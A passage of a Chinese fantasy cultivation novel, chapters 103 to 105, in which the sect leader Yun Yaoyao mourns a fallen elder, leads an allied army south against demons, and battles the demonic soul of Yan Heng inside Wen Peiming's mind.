云杳窈浅笑点头:“浮岛算不得奇景,你们到了山中,可暂居闲置的浮岛院落,待我仔细排查,确认没有魔化迹象后,去留随意。若是想留在嵘烬山继续习剑修道,可去信给家中报平安,长留山中。若是不想进入嵘烬山,我也绝不阻拦。” “不过在此之前,我还要带走一位故友。” 思过崖万鬼窟,仍有一抔滞留在内的余烬。热烈的少年不该落得如此黯淡的结局,至少也要有鲜花美酒作衬,三五亲友陪伴。 云杳窈要带他回嵘烬山。 回到有人敬他爱他牵挂他,一年四季都有流水的地方。 那里有上百名曾受过他悉心教导的弟子,他们都在等待来去峰长老花在溪。 他们都在等待他回家。 第103章 今岁春归迟,狂风不止,高天之上,唯见冷日,孤照人间。 从南荒蔚云城回来的青鸟倦怠立于云杳窈的肩上,还未来得及梳理羽毛,便从口中吐出丝丝灵气,最后凝结化成一封信。 云杳窈在打开信封,迅速看了一遍,而后提笔回信。 止戈见青鸟急匆匆的模样,道:“南荒的情况如何?不若让我亲自出战。” 笔下金光闪烁,字符无纸而立,漂浮在半空。 这是一种青鸟密信的最终传递方式,纷乱的灵族字符聚集在一起,除却写信人和收信人,谁都不会知道信上内容,连立在一侧的止戈也只能看见模糊的金光,根本无从查看具体内容, 此去亦是这只青鸟的最后一程。 “不急,今天还有大事要做。”云杳窈眉头都没皱一下,自顾自抬起手臂,送青鸟飞离这里。 按照灵族习俗,族中长者逝去,要在第七日招魂引归,并举行祭祀仪式。 花在溪燃命引火,魂飞魄散,即便是岑无望已经亲自在命殿沟通万灵,仍是没有找到他一丝一毫魂魄残存的迹象。 他甚至尸骨不存,只能将骨灰撒在了一棵桃花树下,以期待余烬中残存的灵气能够与树中新灵相融,再引他回顾人间,重获新生。 云杳窈亲自来到命殿中,将早已熄灭的魂灯取下,和刚写好的碑文内容交付给守墓人。 命殿中安魂的上古符文正在缓缓流动,只有纸上最后几笔内容是新写,墨迹未干。 这是嵘烬山开门立派以来,第一盏在众人注视下骤然熄灭的魂灯。 殿内和阶前有数不清的弟子自发跪拜,他们尚且年轻,不知道大道残酷,更不知道命数无常,连花在溪这般的长老也有永眠的那一刻。 寂静,笼罩了整座命殿,直至云杳窈点头,迟来的丧钟终于敲响。 一直浑浑噩噩的花有期被钟声惊到,猛地抬起头。 真的死了。 他喉咙充血饱胀,等东流替他擦去热泪时,他才在她的泪眼中看到了自己的痛苦。 两人相顾无言,泪流满面。 云杳窈从哀泣中逆行离去,她着一身窄袖长袍,银甲在身,站在殿前阶上,任凭庄重肃穆的钟声响彻九境。 止戈、岑无望还有十六峰的主事站在她身后,听她用灵力传音。 “晏珩诬陷无辜弟子,屠杀同门无数,堕魔为祸人间,罄竹难书,难担剑君之名,而今天下大乱,祸起南荒,我不忍见生灵涂炭,更不愿目睹千年前的祸事重现人间。众弟子,愿斩妖魔邪祟者留下,不愿舍命殉道者自行离去,绝不强留。” 她说这话时,未有年轻弟子动身离去。可他们中却有抬头瞧主事的人。 主事中有人抬脚,却被天元峰主事按下,无声摇头,用眼神示意他们不要慌乱。 云杳窈知道他存的什么心思,所以在止戈即将请命南下前开口。 “自今日起,我便辞去掌门一职,前往南荒除患,门中事务,全数交由弥亘长老,由她接任掌门之位,坐镇门中。” 话还没说完,止戈便抬脚要上前一步。 岑无望早有预料,将她定在原地,顺便禁言。 止戈只能干瞪着眼,看见云杳窈侧身,面对她一字一句:“若我不归,守好北境,不得擅自南渡。” 岑无望从她身后露出一张笑脸,他说:“那我……” “你也一样,”云杳窈收回灵气,淡声回答,“在逢朽生椿等我回来。” 岑无望倒是没怎么抗议,但他还是有点不满,认真道:“为什么?” 云杳窈没有回答他,在众目睽睽之下,她只能说:“一旦开战,青鸟也很难及时传递消息,我需要你做我在北境的眼睛,也需要你成为我在北境的唇舌,所以你也不能离开。” 这是个再好不过的借口,但岑无望还是一字不发,打算紧跟着队伍准备下山。 所有要前往南荒除魔的弟子都已经御剑启程,在各峰的首席带领下往南方前行。 只有云杳窈,只有她仍在山门前,与岑无望面面相觑。 止戈已经马不停蹄开启了北境部署,光是天元峰山下弟子的传信请示都有上百条,她几乎连口气都不能缓,从接任的那刻就要开始思索如何处置那些潜入北境的魔族,还有那些疑似被魔气感染的人。 岑无望比她松快,他既不是实权长老,也不是蓄势待命的弟子。 若非要一个身份,他只能说自己不放心道侣远行。 可是天下之大,责任之前,又怎能让他将私情宣之于口,所以他只是说:“我想帮你,让我一起去吧。” 云杳窈看着他勉强撑着笑的样子,柔声拒绝:“不行。” “为什么。” “我有很多同行者,但只有一个岑无望,请你谅解,我恐怕再难承受失去你的痛苦。” 云杳窈和婆娑树影一起拂过岑无望清瘦的侧脸。 “所以,就当是为了我留下来吧,不要让自己再置身险情。” “如果,这次我没能回来,你不要再去找我了。就呆在逢朽生椿内,等我某一世与你再续情缘。” “世间万千缘分,可我心魂所系,命中注定,唯你而已。” “所以,你要耐心等下去,等到我们有能力重逢的那日。” 云杳窈还未落泪,指尖先被岑无望的眼泪打湿,她像是被烫到了一般,猛然收手。 她背过身去,召问心现身。 剑灵与剑身一分为二,云杳窈如千年前那样,将问心本体丢给了岑无望。 她则带着剑灵决绝离去,连一句庄重的告别都不敢留,生怕对面哀戚的挽留绊住她的脚步。 如今的云杳窈不需要御剑便能凌空远行,她沉默向着剑修队伍的最前方飞去,而剑灵则在长久的死寂中问了个最重要的问题。 “晏珩呢,死了吗?” “或许吧。”云杳窈长叹一口气,将胸口郁闷全部排空,强行让自己的思绪回到眼下。 “从襄华内乱时我便注意到了,邬盈侯夺舍还魂之物,应当是与鉴义同根同源。” 赋生还魂术,本就是上古灵族秘法。可赋生之术本就是逆天而行,实施条件极为苛刻。因此,就连云杳窈也只是听闻,并不知晓其真正用法。 问心道:“灵族之力来源于灵树,可照理说,灵树早已毁灭,那岂不是……” “我也不能确定。”云杳窈说,“有可能与他囚禁在万鬼窟里的灵族亡魂有关,也有可能是当年灵树枯萎时,他趁乱做了什么手脚,窃取了力量。” 问心蹙眉沉思。 良久,她再度询问:“那你能推测出,他会找谁做替死鬼吗?南边魔气鼎盛,你一心向南寻是没错,可万一他就是猜中你的心思,特意藏匿在北境,那你此行岂不是正合他意。” 云杳窈快速且笃定回答道:“不会,他必定会在万魔簇拥中重获新生。” 从前在回雪峰对弈时,云杳窈便能察觉出,晏珩这人最喜爱的其实不是胜利,而是绝对的的掌控感。 将局势尽收眼底,然后等待对手慢慢按照他设想的局面灭亡。 因此,他可能会循循善诱,可能会暂时收敛毒牙,甚至会耐心教导你如何去赢。 晏珩此人,谨慎敏锐,且极度自负。在此间世界的每一次轮回身份都要风光无两,绝无仅有,今生做了剑君,不仅出身显赫,年少成名,更是千年来无出其右的剑修大能。 放眼整片大陆,能超越剑君名号的人寥寥无几,其中有些还是仅存在于传说当中。 既然无人比他更好,那他应当也不会屈居于次品的身躯内,合该亲自培养出一个年少有为,天赋、出身、能力都惊世骇俗的存在。 放眼九境,只有一个人符合晏珩的挑剔眼光。 云杳窈沉声将自己的推测告诉问心:“闻佩鸣,应该就是晏珩为自己培养出的容器。” 她身后的剑修队伍越来越长,人群越来越庞大。 问心回头看了眼,疑惑道:“怎么人越来越多了?” 她还以为是那些散落在山外的弟子,看见了声势浩大的讨伐队伍,所以也御剑跟了上来,可是再定睛一看,越看越不对劲。 “看这些人的打扮,貌似不是我们嵘烬山的弟子啊。” 云杳窈道:“不用奇怪,我已经向各门派和世家传递消息,让他们派遣人手助我们一臂之力。” 问心啧啧称奇:“他们竟然也肯听从你的调遣,别打着打着又学诸位主事,个个都想独挑大梁。” 云杳窈挑眉,肯定道:“不会。” 山外风平浪静时,主事及其拥趸是山内最大隐患。然战火一旦烧起,他们便成了最好的人质与助力。 云杳窈一直容忍他们私下与各宗各派的密切来往,并不是她无力插手,就是在等这一刻到来。 借势而已,并非只有他们会审时度势。 借势之道,非其独专。 权与义当互衬,享崇高之位,则忧重责深。 既然自命不凡,享用了这一身荣光,要与凡人划清界限,还借了嵘烬山的灵气,达到了本不该属于他们的修行境界,那就到了该报效宗门和天下人的时刻了。 一人拔剑,不足称奇。 万人鸣剑,天下震荡。 御剑破空之声响彻云霄,直压南荒诸魔。 蔚云城的城门紧闭,十年的风霜雨雪未曾消磨它半分威严,与云杳窈记忆中别无二致。 只是这一次,没有人再倾尽全城之力,热情相邀。 云杳窈拔剑,直指门前垂垂老矣的守卫。 “嵘烬山行事,除魔卫道,事关南荒诸城百姓安危,烦请聂叔行个方便,让我与少阁主面谈。” 第104章 剑尖遥指向前,锋利寒芒映着聂清光苍老的容颜,他这些年修为并无长进,凡人忧心的生老病死,他一样都逃不脱。 聂清光浑浊的眼眸转动片刻,才在一团灵光中辨识清楚云杳窈的长相。 嘴唇嗫嚅了几下,聂清光声音干涩嘶哑:“云掌门。非老朽冥顽不灵,实是禁令难为。少阁主有令,封城期间,任何人不得出入。” “掌门也清楚,老朽没什么大本事,不过是一个不善言辞的窝囊老头,少阁主委以重任,你可不能让老朽临死前,再担个无能又不忠的骂名。” “忠心?”云杳窈眸 光锐利如电,言语直戳他心窝,“也包括眼睁睁送他去死吗?” “南荒诸城沦陷,蔚云城被围也是迟早的事。难道你就死守着城门,等到魔族打到照渊阁脚下才肯罢休,你的忠心是打算放任他拖死自己吗?” 聂清光避开她的目光,铁铸般的身躯竟微微佝偻,紧握兵刃的手指节发白,显然,他的内心正经历着巨大的煎熬。 可是他挣扎一番,最后还是赔着笑拒绝了云杳窈。 “如云掌门所说,南荒诸城沦陷大半,可你没有察觉吗?这一路虽然魔气四起,可并未盖过灵气,甚至,你们渡江至我蔚云城之事,并未遇见过强敌。” “老朽一生飞升难望,也不曾有过什么神谕仙缘,但有一件事,老朽很确定。” 聂清光指了指天,纵横交错的阵法共同撑起了此时此刻的安宁。 “这南荒的天,是照渊阁,而照渊阁的天,便是少阁主。” “何况这一路魔族虽鲜少惊扰云掌门,可到底有魔气在,老朽虽然信得过云掌门,可却信不过你身后的那些人啊。” 说到这里,聂清光深深弯下腰,向云杳窈行礼。 “危难之际,老朽不敢将众多百姓的性命置于不顾,更不敢让少阁主的心血毁于一旦,万望云掌门谅解,若掌门仍旧执意进城,老朽只能自不量力,以命抵抗。” 问心见这老头油盐不进,不耐烦道:“想打架,那就让我来。” 眼见着问心要上前,云杳窈抬臂,止住问心即将迸发的战意。她凝视着城楼上身形佝偻却目光坚定的聂清光,眼中锐利渐消,了然道:“聂叔忠心可鉴,思虑周全,是我等唐突了。” 云杳窈声音缓和下来,收剑归鞘,这个动作让两人间紧绷的气氛为之一松。 她转身,面向身后肃立的各派修士,声音清越,却足以让每一个人听清:“聂守正所言非虚,晏珩至今未现身,围而不攻,其心叵测。蔚云城能独守至今,必有依仗,强闯非但无益,反生龃龉,徒耗力量。” 她目光扫过一张张或焦急,或疑虑的面孔,继续道:“然南荒非止一城,纵有其余沦陷之地,百姓正陷水火,魔患肆虐,亟待清扫。” 说罢,她抬手间,灵力于空中凝成一幅简要的南荒山河图,其上数座大城标记已黯淡无光,魔气萦绕。 云杳窈丹唇未启,音传四方:“众弟子听令。” “来去峰与知止峰弟子,疾行往东,收复涟波,清剿城中魔物,建立防线,接应流民。” “凝常峰、本净峰、逐鸿峰弟子,继续南行,涤荡风熄,务必切断魔族上攻之路。” “其余各派,分赴图中标记各镇、要道,以斩魔、安民为首要,遇强敌不可恋战,及时以宗门秘法互通。” 指令清晰,条理分明。 出了北境,这里便是他们鲜为踏足的陌生地界,各派领军人物皆知这是眼下最合理的安排,纷纷拱手领命:“谨遵云掌门令。” 霎时间,剑光再度亮起,如流星般散向南荒大地,奔赴各自的战场。转眼间,黑压压的联军便去了十之八九,只留下些许嵘烬山天元峰弟子,仍等候在原地,望着云杳窈,等待她的进一步指示。 这些弟子都是云杳窈事先筛查过,因天赋异禀,才破格进入三阳门修行的外姓弟子。 云杳窈却对他们微微摇头:“你们也随各峰弟子去吧,若有人不慎被魔气感染,先以灵气镇压魔气,拖延时间。若到了无可救药的地步,由你们决断生死,切记万不可因一念之差,错放哪怕一个堕魔失魂者。” 这一道能决定同门生死的重任压下来,让几个天元峰弟子都有些无所适从。 见云杳窈就这么要离开,有弟子急切开口 “掌门!” “去吧,有人还需要你们。”云杳窈语气温和却不容置疑,“蔚云城这里我自有分寸,很快便会与你们会合。” 弟子们不敢再违抗,只得犹豫间看了城头一眼,御剑离去。 最终,城门前,只剩下云杳窈与问心,以及空中尚未完全消散的遁光尾迹。 云杳窈再次向城门处朗声道:“联军已分赴各地清剿魔患,解围各城。如今我只身在此,仅伴本命剑灵,可否足证诚意?我只求入城,与少阁主当面一谈南荒局势,共商应对劫难之策。若仍不可为……” 她略微停顿,声音沉静而坚决:“我便只能给出半日期限。日落后,我便破阵而入。” 言罢,她竟真的拂袖一挥,灵力流转间,于城门百丈之外的空地上,化出一方青石案,一蒲团,随即安然落座。问心剑灵抱臂立于其侧,虽面色不虞,却也未再多发一言,只是在若有所思中紧盯着城门。 此举出乎聂清光意料之外。 他看着下方那抹孤直的身影,以一派掌门、灵君之尊,竟真的压下千军,只身示诚,愿守于城外。其言辞恳切,行为磊落,更将麾下力量尽数派去救助南荒他城百姓,此等胸襟气度,与他预料中的挟势逼人截然不同。 就在半日僵持的最后期限逼近时,一道略带疲倦的声音自城中传来。 “让她进来。” 声音不高,却清晰地压过风声,传入每个人耳中。 是闻佩鸣的声音,仿佛隔着一层无形的纱幔,少了些许往日的自在随性,多了一份沉沉的、不属于他的威压与漠然。 沉重的城门在嘎吱声中缓缓开启,露出其后挂满橘红灯笼的长长的街道,如同巨兽择人而噬的血盆大口。 年节气氛还没完全褪去,可街道上空荡荡,不见活人踪迹。 云杳窈与问心至照渊阁前,仍没有看到一个人,甚至连一名守卫都瞧不见。 无风无人,照渊阁的门却缓缓开启。 阁中深处,闻佩鸣轻轻勾手,便在室内掀起狂风,天地倒悬,一室格局迅速四分五裂,又很快拼凑重合,骤然将刚踏足阁中的云杳窈和问心分开。 问心被忽然闪现在脸前的屏风阻挡,她下意识想扫清阻碍,化灵气为光剑,却在剑落下前被另一道剑光拦住。 问心很快就凭借气息辨识出故人。 她闪身躲过突然显现的手臂,斩断来人的一缕长发,沉声问候:“天同,你最好在我耐心耗尽前死出来,不然我今天必让你尝尝形神俱灭的滋味。” 云杳窈的身影早已消失,照渊阁内灵气、魔气、鬼气互相交织,又呈现出一种诡异的和平。 局势尚不明晰,那个照渊阁少阁主也似敌非友,迟迟不肯表态。 如今又弄出这幅故弄玄虚的姿态,让问心不能不警惕。 魔气在她话音落下后迅速盖过其他两股力量,以迅雷之势铺满整间密室,四方墙壁无门无窗,魔气萦绕其间,犹如将这里与外面彻底隔绝。 天同并没有立刻现身,更没有与问心直接交手的意思,不管她作何反应,都只是挑逗似的与她捉迷藏。 先是撩拨她长发,又扯一扯她的裙摆衣角,而后甚至想要偷走她的发带,让问心不胜其烦。 她弃剑散形,再重聚时已经一脚踹在那人的腹部。 巨大的冲击力将玄衣剑灵掼在地上,直地板都砸出一个凹陷的坑来。 问心紧紧掐住天同剑灵的脖子,厉声质问:“是不是你在搞鬼,我家君上呢?你在这里,那是不是晏珩也在?还有照渊阁少主和城中百姓呢?” 被问心扼住命门,死死压在地上的天同。 天同长发如泼墨,倾覆满地。他抬起手,却不是想要解开束缚自己呼吸的双手,而是颤抖着如冰雕玉塑般苍凉手指,去勾眼前的纱带。 问心没有制止他的小动作,天同缓缓睁眼,那双久为黑暗所困的双眼因被魔气侵染而重获光明,他眯起眼睛缓了缓神,这才看清楚眼前熟悉的面孔。 天同的脸上因呼吸不畅而泛起微微红晕,他挤出一句:“好久不见。” “宁愿不见。”问心冷言相刺,“你我本是同源、同时、同人所造的上古灵剑,你竟然自甘堕魔,真让我意想不到。” “是啊,我也没想到。可是我剑身已毁,若不堕魔,你便见不到我最后一面了。” 天同说着,发觉颈间的双手竟然松懈,似是将要与他分离。 天同拉过她的手,放在自己心口:“感受到了吗?我已时日无多。” 问心道:“与我无关,这是你自己的选择。从你与我斩断联系的那日起,你我便形同陌路,你的生死何必要告诉我,我们是什么很亲近的关系吗?” 天同漆黑如夜的双瞳微微缀着点碎光,他眸光颤动,问她:“你不知道?” “我当然不知道。” 说罢,问心强行挣脱天同的手,活动了活动手腕,四处张望,想要寻找一个离开这个房间的出口。 四处都是封闭的,她凝神屏气,找寻着云杳窈的灵气 轨迹。 待找到一处久亮不散的光点后,问心毫不犹豫劈向墙壁,硬生生为自己砸出一条路来。 她身后的天同却在此时叫住了她:“我们是家人。问心,即便你唾弃我,可你也曾与我密不可分,无论你愿不愿意,这世间的奇闻异志上,凡载有你威名,必有我相随在侧。” 问心未曾犹豫,坚决道:“我是剑灵,终身侍奉灵君,从未有过什么家人,不要拿这一套来制约我。” 她再破开一道远处墙壁,跨大步离去,并未再多施舍给天同一分一毫目光。 第105章 云杳窈挥袖拂去尘埃,在一片飞尘中发觉问心已经不在身侧。她看着向她任意敞开的门,凝思片刻,一时踌躇于进退之间。 恰在此时,一根细微的红线从黑暗中颤颤巍巍伸出来,牵上她的手腕,牵引着她继续往阁中走。 循线而行,不多时,云杳窈便随着丝线指引,找到了自困于阵中的闻佩鸣。 之所以说自困,是因为他被无数丝线吊着,几乎是以一种提线木偶的姿态僵坐在地上。 房内空旷可闻回声,惟有一人、一棋盘、一灯而已。 如豆灯火,影影绰绰,散发着微黄亮光,除却能照亮棋盘外,便只能隐约照清少年半边身子。 闻佩鸣整个人背靠黑暗,因尚有微光聚集身前,所以不至于完全被冷寂吞没。他衣衫宽大,猩红丝线无风自动,是不是就跳起来牵扯到他的手臂,扰得他执棋落子的动作艰涩无比。 棋盘上明明只有白子,可每每眨眼刹那,总有无形力量在推动白子移位,甚至整个棋盘还会主动吞噬棋子。 稍有不慎,棋局顷刻覆灭。 “云师妹。”闻佩鸣面色平静,形容枯槁,一改先前的嬉皮笑脸,满面都是挡不住的疲倦。 他的肌肤暗淡无光,整个人像是被丝线吸干了精气血肉一般,形销骨立,孑然一身,几乎让人认不出来这是天纵奇才的照渊阁少阁主。 闻佩鸣落下一子,才有了片刻喘息分神的机会。 他抬眼,眼中满布着红血丝,嘴唇边也有提神时不慎咬破的伤口,因不断撕扯揭开伤疤,所以仍有点点血迹,这才让他整个人有了些鲜活的生命气息。 “不对,我应该叫云掌门,还是灵君?” 其实云杳窈已经卸去掌门之位,上古灵族也早已不复存在,怎么称呼她,她都不在乎。 所以云杳窈坦然坐在他对面,道:“称谓而已,随你心意就好。” “那还是叫你师姐吧。”闻佩鸣笑了笑,重新聚灵化成棋子,捏在指尖,不敢轻举妄动。 每一颗棋子都只能落在至关重要的地方,经不起浪费。 “我已经按照你所说,尽力拖延魔族在南荒的动作,你为何还要执意进照渊阁。” 闻佩鸣长叹一口气,有些吃力地继续说。 “你大可不必来质疑我,我生于这里,长于这里,对于南荒诸城,我远比你们用情更深。” 闻佩鸣咳嗽几声,而后叩响棋盘。 以棋盘为起始,阁中一切突然消散,地势转瞬变换,他们脚下浮现出千肆蜃影阵,以照渊阁为中心,恢弘法阵浮空,整个南荒都在界中。 闻佩鸣抹去从鼻腔溢出的鲜血,头痛欲裂仍面不改色。他坐在权衡一侧,而另一侧则被他身躯投射过去的虚影占据。 影子越来越清晰,到最后甚至一分为二,立于权衡的另一侧。 新与旧,白与黑,明与暗。 他们就像是两个极端相似,又处处对立的个体,各坐一方,不肯相让。 “其实早在看见信的那一刻,我就已经困守在这里了。非我贪生怕死,不愿慷慨就义,而是我一旦死去,躯壳便会立即死而复生,为晏珩所夺。” 闻佩鸣又猛烈咳嗽起来,他的五脏六腑都已经不再运行,所剩的灵气全部都用来维系两大阵法同时运行。 晏珩巨大的威压,丝线可怖的吸食速度,还有自阵法中传来的,南荒众城经久不散的哀哭与嚎叫,都让闻佩鸣濒临崩溃。 灵气和魔气都在挤占他的躯体,一体双魂的下场只能是将魂魄更虚弱的一方挤出身体,如若强行争夺,只会让其中一个落得魂飞魄散的下场。 饶是这般闻佩鸣仍旧没有让步。 “我会享有世间繁华,凡所想所求,皆能轻易得到。” “我将与天命之女结合,她与我以神剑结缘,我们是天定姻缘。” “最后,我将承载天命,立于万人之巅,成为群仙之首。” 他重复着命里的三条预言,竟无一条实现。 第一条,他幼时艳羡月圆花好,所求不过团圆美满,可偏偏睁眼就做了无依无靠的孤儿,无来处无亲族,打有记忆以来,便在阁中被暗卫抚养长大。 少时立志离家成就伟业,却被告知自身不过是傀儡一具,连魂魄都只是晏珩随手割舍出的一缕残魂。即便终其一生寻觅自由,最后只能为阁主晏珩做嫁衣。 第二条,他已在晏珩强行启动赋生术,与他抢夺身体时看过他的识海记忆。天命之女早已与他喜结良缘,不过并非这一世,而是前世姻缘。 第三条,竟然反倒时最有可能实现的一条。 只要晏珩夺过这具躯壳,便能驱使魔族吞并南荒,这具躯壳,将会成为世间最强,无论是人是鬼是魔是仙,都要匍匐在他的脚下。 梦寐以求的极致力量就在眼前,原来只需要放弃,就能得到一切。 “太过美好的预言,反倒成了我的死亡谶语。你说,早知如此,我当初何必北上求学,何必费尽心思讨你的欢心,又何必遵从晏珩指引,去做自己不喜欢的打扮。” 闻佩鸣自顾自在棋盘上又下一子。 这一子稳稳定在中心,却没有解决城中燃眉之急,反倒迅速被显形的黑棋围困,吞噬绞杀。 闻佩鸣只好揉了揉眉心,强行提着一口心气继续找突围解困的办法。 “我一直在害怕,害怕有一日醒来,便发现自己成了孤魂野鬼。” “什么富贵荣光都成了过往浮云,只要晏珩想,我就仍是那个举目无亲的孤儿。” “师姐,你说我该怎么办呢?我死了,南荒怎么办,世上又会多出无数和我一般的孤儿。可是我这么苟延残喘下去,就要眼睁睁看着自己成为晏珩的傀儡。我想要自由,这种渴望更甚于求生,可是如今,生死已经由不得我自己决断了。” 闻佩鸣稳住棋局,长舒一口浊气。 “认了一辈子命,这一次,让我自己做一回主吧。”他疲惫双眸中突然复现清明,回光返照似的挺直了脊背,连面色都红润了不少。 故作轻松嘱托道,“城内百姓早已被疏散送离此地,蔚云城还能再坚持三日,我会将全部灵力注入阵法内,化鬼强化魂魄,与晏珩抗争到底。三日之内,请灵君务必将晏珩斩杀于孤城内,聚魂于这副残躯,施以炽刑。” 他拿出天同残剑,想要自刎于这无力改变的棋局之前。 却被人及时拦下。 云杳窈出声阻止:“等一下。” 然而比云杳窈动作更快的,是及时赶来的问心,她飞身夺过天同,道:“怎么回事?” 天同的灵气早已耗尽,魔气也荡然无存,昔日神剑犹如废铁,只剩下剑柄和一尺长的断裂剑身。 “天同怎么会变成这幅模样?剑灵都堕魔了,为何剑身会残破成这样。” 闻佩鸣深吸一口气,眼前直冒金星,他扶着额头缓缓回答:“剑灵?天同的剑灵早就消散才对,又怎么会堕魔呢。” 他为了维持法阵运转,几乎将自己的灵力都掏干净了,连昔日最引以为傲的本命剑天同都被他祭剑投阵。 不过闻佩鸣已经没功夫再思索剑灵去向,他被云杳窈扶了起来,看见问心拿着剑赶忙往回走。 只是没有走几步,便被云杳窈唤住:“问心,你要去哪里?” 问心握紧的手无助落下,她心里空洞洞的,像是缺了一角,可是剑本无心,即便是剑灵能够化作人形,那又怎样,恨和爱都是姗姗来迟,总让她措手不及。 该怎么给她和天同的千年恩怨做个了结呢,说她不舍,还是回答她方才偶遇故人幻影。 问心突然不知道刚才遇见的,到底是天同残存的灵识,还是她心底沉积已久的执念。 她无从回答,所以沉默着化作剑意与云杳窈神魂合一,与她并肩作战。 云杳窈放开鉴义,铺天盖地如蛛网一般的鉴义丝线盖过权衡,他凝视着闻佩鸣眼中那摇摇欲坠却不肯熄灭的星火,静默如渊。 “你的体内有一段灵树枯木做脊骨,因此才是晏珩夺舍的 最佳人选,如若让他神魂与你这幅躯壳相融,恐怕就棘手了。” 不仅如此,如果晏珩与闻佩鸣同时死去,南荒将会无人看管,真发崩塌后,各城会陷入混乱,南荒将会彻底沦为魔族乐土,到时候即便晏珩被铲除,可厮杀必将滋养出新的魔头。 那才是云杳窈最不愿看到的局面。 三息之后,她稳住气息,双手箍紧闻佩鸣双臂,轻轻摇晃,让他能够专心致志听见自己的话。 “保持灵台清明,再撑三日。” 鉴义潜入闻佩鸣体内,直至抵达识海深处。 云杳窈周身磅礴灵气骤然向内坍缩,尽数敛入识海深处。 她双眸轻阖,魂魄清光大盛,一道凝练如琉璃净火、璀璨胜过星河的人形魂体脱体而出。 魂魄轮廓与云杳窈本体无异,却更显缥缈空灵,手持一柄由问心剑意凝聚的光剑,只蓄力挥剑了结与晏珩的恩怨。 鉴义直刺入闻佩鸣混乱不堪的识海,想要将魔气中心的魂体强行撕扯出来。 甫入识海,景象骇人心魄。 再无棋盘权衡,唯有无边无际的晦暗混沌,魔气如浓稠的墨汁翻滚不休。万千猩红丝线不仅缠绕肉身,更深扎于这片神识虚空的每一寸,如同活物般蠕动,贪婪抽取着闻佩鸣的灵气,将其输往另一道魂魄中。 一道由纯粹魔气、滔天怨憎与无情剑意凝聚而成的魔魂正在沉睡,正是晏珩的魂魄。 他手中的拨雪剑身仍旧鲜亮,似乎从未染血,可上面的杀气与魔气几乎要将周围的一切割破。 “灵君。”晏珩魔魂感受到熟悉的灵气,缓缓睁眼。 确认是云杳窈后,他潋滟双眸还闪过一丝茫然和挣扎,可魔气很快就吞噬他的理智,将他的欲望展露。 晏珩勾起唇角,他浑身魔气萦绕,可却仍旧如出尘谪仙,不染半分尘埃。 他有些幽怨道:“你就这么想让我死吗?” 云杳窈眼都不眨,反问他:“你就这么舍不得去死吗?” “我不是还你一命了吗?”晏珩有点不理解她的斤斤计较。 他嗤笑一声,理所当然道:“你已经斩杀了剑君晏珩,我们从此便两清了。” 见云杳窈立在原地,并没有立刻反击驳回,晏珩又继续说:“其实我也不愿堕魔,不然也不会在人间千秋中陪你轮回转世,白白蹉跎这么多年。” 云杳窈听得浑身灵气直往头顶聚集,她忍不住打断:“令人作呕,别用我做借口。” 晏珩还在喋喋不休:“我也能甘心赴死啊,尚有心愿未了,你还尚在人间,我怎么舍得离你而去。我们是天道注定的缘份,不会因这些小小波折而动摇,这一世,我做魔君,你做我的王后可好?成魔后随心所欲,远比你做假仁假义的灵君痛快得多。” 他眼珠微动而后定,将目光停留在云杳窈的心口。魔气将他的魂体重塑,虽然乍一看与从前的模样没什么分别,可是魔气总会让他不自觉带上些情绪,反倒比不近人情的微尘仙君更加坦荡自在。 晏珩是毋庸置疑的美人面,沾染魔气后,更加绝艳。 他挑眉道:“不如你把灵果找出来,我们既能共享魔族的力量,又能重塑肉身,摆脱魔修的痛苦和劣根,重回仙庭。到时候,无论是人间还是仙庭,再不会有人能够将我们踩在脚下,你不是一直想替灵族申冤吗?那就和我一起杀回去,把那些虚伪的仙者全部杀死。” 云杳窈根本不会听他的胡言乱语,即便是晏珩有无情剑加身,能够减弱魔气对心智的影响,可还是不免受心魔所惑,逐渐被欲望驱使。 这里终归是闻佩鸣的识海,如果想要阻拦晏珩夺舍,就必须将他斩杀在此处。 云杳窈毫无预兆便出手,手中剑化作七十二道剑光,组成无坚不摧的剑阵,眨眼间便将晏珩层层困在剑阵中。 “燃。” 一字既出,灵火四起,迅速焚烧着晏珩的魔气。 灼热烧得闻佩鸣不由自主跌倒在地,痛苦惨叫。 这种痛苦连带着影响了识海内的灵气,无数道灵气翻涌乱窜,不分敌我地攻击一切入侵者。 在一片黑雾与烈火中,魔剑挥出,瞬间化作一头由无数扭曲剑意和哀嚎魂魄组成的可怖巨兽,携着撕裂神魂的恐怖威势,扑杀而来,其所过之处,识海空间仿佛都被腐蚀出滋滋作响的裂痕。 云杳窈凝神聚气,面沉如水。面对识海内排山倒海的魔气,她并指如剑,竖于身前,再吐出一字诀:“斩。” 纯净浩大的灵气以她为中心荡开,无数细密的剑气和符文流转生灭。 拨雪被强行催化了灵体,所化魔兽不知原型,更无法维持人形,就这么轰然撞在剑阵上,发出震耳欲聋的恐怖尖啸,还未来得及再次反扑便被剑光刺入身体,魔气与剑光相抵,陷入湮灭,冲击得整个识海仿佛要彻底崩碎。 首次出招,平分秋色。 识海之外,闻佩鸣猛地吐出一口血,紧接着,鼻腔和眼下都有条条血痕蜿蜒下淌,最后是耳朵。 他在巨大的痛苦中几乎要昏厥过去,却在余光瞥见棋局之时,仍是尽力用指尖推动其中一子变换位置。 “不能死,不能死,我还不能去死。”他念叨着,重新爬了起来,想要调息修复。 识海内,云杳窈再度加固剑阵,听见晏珩轻哼。 “雕虫小技,连乾阳宗的剑阵都用上了,看来你这十年确实没什么进步。” 魔气再次凝聚,手中拨雪招式陡变。不再是大开大合,而是化为融合了无情剑道,无形无相,防不胜防的心魔剑意。 无数细微如丝的漆黑剑影凭空出现,从四面八方每一个角度钻刺而来,它们不仅斩魂,还能以魔气勾起人心底最深的恐惧、遗憾与执念,欲从内部瓦解她的剑心。 云杳窈心神微颤,眼前幻象丛生。一会儿是漫天飞雪,一会儿是熊熊燃烧的烈火,那些死于她面前的族人不断哀嚎,魔气侵染他们的身心,到了最后,就成了行尸走肉一般。 “过来吧。” “君上,陪陪我们。” “和我们共存亡啊。” “入魔吧,为什么不肯入魔呢?” 在这些声音里,还有一道哀怨的声音尤为明显。 “君上,为什么要让我背负这么多痛苦,为什么这些痛苦只能让我来记住。”岑无望立在她面前,一字一句道,“为什么,你为什么要让我带灵果逃离故土?” 云杳窈猛然惊醒,所有的声音都散了,可是她耳边还能听见岑无望的眼泪在不停坠落。 啪嗒啪嗒,几乎让她难以分辨真假。 隔着万水千山,有一道声音借由鉴义传了过来,岑无望的声音温柔却坚定:“破妄,醒神。” 云杳窈眸光瞬间恢复清明,她手中剑光舞动,剑意极其轻柔缥缈,剑尖点出无数清辉星芒,配合剑阵,精准将每一道心魔剑意挡在剑阵外层。 金石交击之声密如骤雨,层层渗透,让晏珩不觉后撤几步。 